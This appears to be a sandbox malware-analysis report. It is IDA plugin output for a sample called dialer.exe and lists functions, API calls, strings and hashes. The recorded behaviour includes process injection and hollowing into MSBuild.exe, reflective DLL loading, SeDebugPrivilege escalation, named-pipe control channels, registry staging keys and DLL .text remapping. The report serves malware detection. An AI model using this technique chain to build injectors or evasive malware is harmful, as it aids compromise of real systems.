Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

MSBuild.exe, xrefs: 00000001400011B8
dialer.exe, xrefs: 00000001400011CC
@, xrefs: 0000000140001401
ReflectiveDllMain, xrefs: 000000014000139D

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
HeapFree.KERNEL32 ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
HeapFree.KERNEL32 ref: 0000000140001651

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: HeapFree.KERNEL32 ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: HeapFree.KERNEL32 ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNEL32 ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNEL32 ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
Sleep.KERNEL32 ref: 0000000140002BEE

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

open, xrefs: 0000000140002960
dialerstager, xrefs: 0000000140002694
SOFTWARE, xrefs: 0000000140002675

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
